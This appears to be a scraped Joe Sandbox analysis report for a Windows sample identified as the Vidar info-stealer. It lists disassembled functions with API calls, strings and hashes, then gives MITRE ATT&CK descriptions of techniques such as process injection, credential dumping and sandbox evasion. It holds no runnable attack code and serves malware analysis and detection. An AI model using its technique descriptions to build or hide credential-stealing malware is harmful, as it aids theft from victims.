Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 484d76f9a47b7d0eb6947b0b1cc712bd2a079f1c6f00f12e52e305c0f6cad485
Instruction ID: 54676daf256e5653e955e8e79db9eb21f4a9ea18d8efed0a08647411ceb8e17f
Opcode Fuzzy Hash: 484d76f9a47b7d0eb6947b0b1cc712bd2a079f1c6f00f12e52e305c0f6cad485
Instruction Fuzzy Hash: 4E11297120623279D7384B628C85FF7BEDCEF167A6F004396F90983080D6608C48C6F0

Function 00B475ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

CharUpperBuffW.USER32(?,?,?), ref: 00B4761D
_wcslen.LIBCMT ref: 00B47629

Strings

STOP, xrefs: 00B47623, 00B47628

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: b9a381f3b2c56471d45009351c94c69be76b69cece9fa08b87d3aeb5dae30908
Instruction ID: 3c2bd9dc6f16f868aa29d58eb61cf3bd3d0a6a919293461bc3e36522cb6c1e1f
Opcode Fuzzy Hash: b9a381f3b2c56471d45009351c94c69be76b69cece9fa08b87d3aeb5dae30908
Instruction Fuzzy Hash: DB010032A589278FCB20AEBDDC808BF33F6EF6035070209A4E42193294EF31DA14E250

Function 00B4262B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B42699

Strings

ComboBox, xrefs: 00B42638
ListBox, xrefs: 00B42663

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: cb02aabc6f93c2399b8608966434e7601eb9aff4ae67654b2b0d259f6d7495a3
Instruction ID: f08edef83894f5015a333924037f5804f33b50d660e504dc9411c226016f6ca0
Opcode Fuzzy Hash: cb02aabc6f93c2399b8608966434e7601eb9aff4ae67654b2b0d259f6d7495a3
Instruction Fuzzy Hash: B7012875610114ABCB04EB64CC86DFE73F4EF46350B800659F832972D1DB715908E660

Function 00B42525 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,00000180,00000000,?), ref: 00B42593

Strings

ComboBox, xrefs: 00B42532
ListBox, xrefs: 00B4255D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 6b9078eb91894c8c9a584f006e8761288615f402afc75f1a9f8e45d43ea1b316
Instruction ID: ae3574e18882a0c1004f9f43fcbb2e859368dc3f28888a92c2eccd7585278c46
Opcode Fuzzy Hash: 6b9078eb91894c8c9a584f006e8761288615f402afc75f1a9f8e45d43ea1b316
Instruction Fuzzy Hash: A201F775A401056BCF05E790C967EFF73E8DF65340F94005AB812A7281DB509F08A6B1

Function 00B425A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,00000182,?,00000000), ref: 00B42615

Strings

ComboBox, xrefs: 00B425B6
ListBox, xrefs: 00B425E1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: c4cdd221d5ba49721e3db685842f66387ac4e74c45482740423e4a88794883a1
Instruction ID: 5ec5b74cedca77f2291c9839dc2f6310028bce7e361da43574540e3aa31411ca
Opcode Fuzzy Hash: c4cdd221d5ba49721e3db685842f66387ac4e74c45482740423e4a88794883a1
Instruction Fuzzy Hash: 7401A275A441056ACB05F7A4C946EFF77F8DF15340F940066B802A3281DB718F18B6B2

Function 00B426B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B445FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B44620

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00B42720

Strings

ComboBox, xrefs: 00B426C2
ListBox, xrefs: 00B426ED

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 60871ff55d09a14eb4af0fd36daf86db490f7d2f31aab2d9a466c3e65ee5f643
Instruction ID: 4f6d666b4b5adb64835e514fe8ec75224c2575c49af76c607d424e608e16c0dc
Opcode Fuzzy Hash: 60871ff55d09a14eb4af0fd36daf86db490f7d2f31aab2d9a466c3e65ee5f643
Instruction Fuzzy Hash: 69F0F475A402146ACB05A7A48C86FFF73F8EF01340F840955F822A32C1DB605E08A270

Function 00B41461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B4146F

Strings

Error allocating memory., xrefs: 00B41468
AutoIt, xrefs: 00B41463

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: cb82f107fa11fc8e425db5c4f5790ca4a9e0cb1075a303bc197363ad3e0c9aaa
Instruction ID: 7d63c72f7af21b690e589527d984f8be3a4a9c23a4682e11e09e708268f9e1db
Opcode Fuzzy Hash: cb82f107fa11fc8e425db5c4f5790ca4a9e0cb1075a303bc197363ad3e0c9aaa
Instruction Fuzzy Hash: ECE0D83224831536D2203794BC03F857AD48F05B91F11489AF75C794C24EF225905699

Function 00B010B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00AFFAD4: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00B010E2,?,?,?,00AE100A), ref: 00AFFAD9

IsDebuggerPresent.KERNEL32(?,?,?,00AE100A), ref: 00B010E6
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00AE100A), ref: 00B010F5

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B010F0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: f7d669fcecc3e254ffd409552f9ce9eb997e6d6c13a6485da810396a33ac8ec0
Instruction ID: c69bf4e70c96c48c5440062f564c9e06718e0bbb60232565d1423d8d57d85112
Opcode Fuzzy Hash: f7d669fcecc3e254ffd409552f9ce9eb997e6d6c13a6485da810396a33ac8ec0
Instruction Fuzzy Hash: BCE039706003518BD364AF68E905602BAE4EF04381F008D9CE886D36A1EBB4D488CB91

Function 00B539D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00B539F0
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00B53A05

Strings

aut, xrefs: 00B539F9

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 5d1c8426f30c177e1b0a2337e68a1a6a61d7d32b362e0899e7a9b60a2e611023
Instruction ID: 7502e792131579eda376d553e983e15baaa23b3856f55fbc0c80f8cb0d7f4ae0
Opcode Fuzzy Hash: 5d1c8426f30c177e1b0a2337e68a1a6a61d7d32b362e0899e7a9b60a2e611023
Instruction Fuzzy Hash: AAD05E7254432877DA20A764DC0EFCB7A7CDF45750F0002A1BA59920A2DEB0DA86CB90

Function 00B72DBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B72DC8
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00B72DDB

Part of subcall function 00B4F292: Sleep.KERNEL32 ref: 00B4F30A

Strings

Shell_TrayWnd, xrefs: 00B72DC1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bcfb86273fbffcb12f43edd83e17505abadfaf8bda77b2d70f947a6d37abe8d1
Instruction ID: dee90ba449777fb17045b1ea5f06dcb953915b2788a0c97ba71322c228572f6a
Opcode Fuzzy Hash: bcfb86273fbffcb12f43edd83e17505abadfaf8bda77b2d70f947a6d37abe8d1
Instruction Fuzzy Hash: 9AD0C935399315ABE664A770AC0BFE66AA4AF50B50F104869B249AB1D0CDE0A8408654

Function 00B72DF2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B72E08
PostMessageW.USER32(00000000), ref: 00B72E0F

Part of subcall function 00B4F292: Sleep.KERNEL32 ref: 00B4F30A

Strings

Shell_TrayWnd, xrefs: 00B72E01

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: da1761c51736065ef284f0f77315ee91cfbd13ce598f12d673dc97383aa1dcd6
Instruction ID: b711c9188a2a6272f1315180d1b1a14509ce033e7b4d94dca55c331e4cdc4156
Opcode Fuzzy Hash: da1761c51736065ef284f0f77315ee91cfbd13ce598f12d673dc97383aa1dcd6
Instruction Fuzzy Hash: A3D0C9353C93156BE664A770AC0BFD66AA4AF55B50F504869B249AB1D0CDE0A8408654

Function 00B1C17D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00B1C213
GetLastError.KERNEL32 ref: 00B1C221
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B1C27C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: bdd818f3589c54d365ce33112e11e594daa7d868667a8a67391b049d6daee054
Instruction ID: b03e9a2323dcf4f0880de334439f48ac12ba55c2482704aa4bfcfcfe122537c5
Opcode Fuzzy Hash: bdd818f3589c54d365ce33112e11e594daa7d868667a8a67391b049d6daee054
Instruction Fuzzy Hash: 2D41D530680216AFDB218FE5C844AFA7FE5EF11720F6441E9E859AB1A1DB309D81C7A1

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9EI7wrGs4K.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

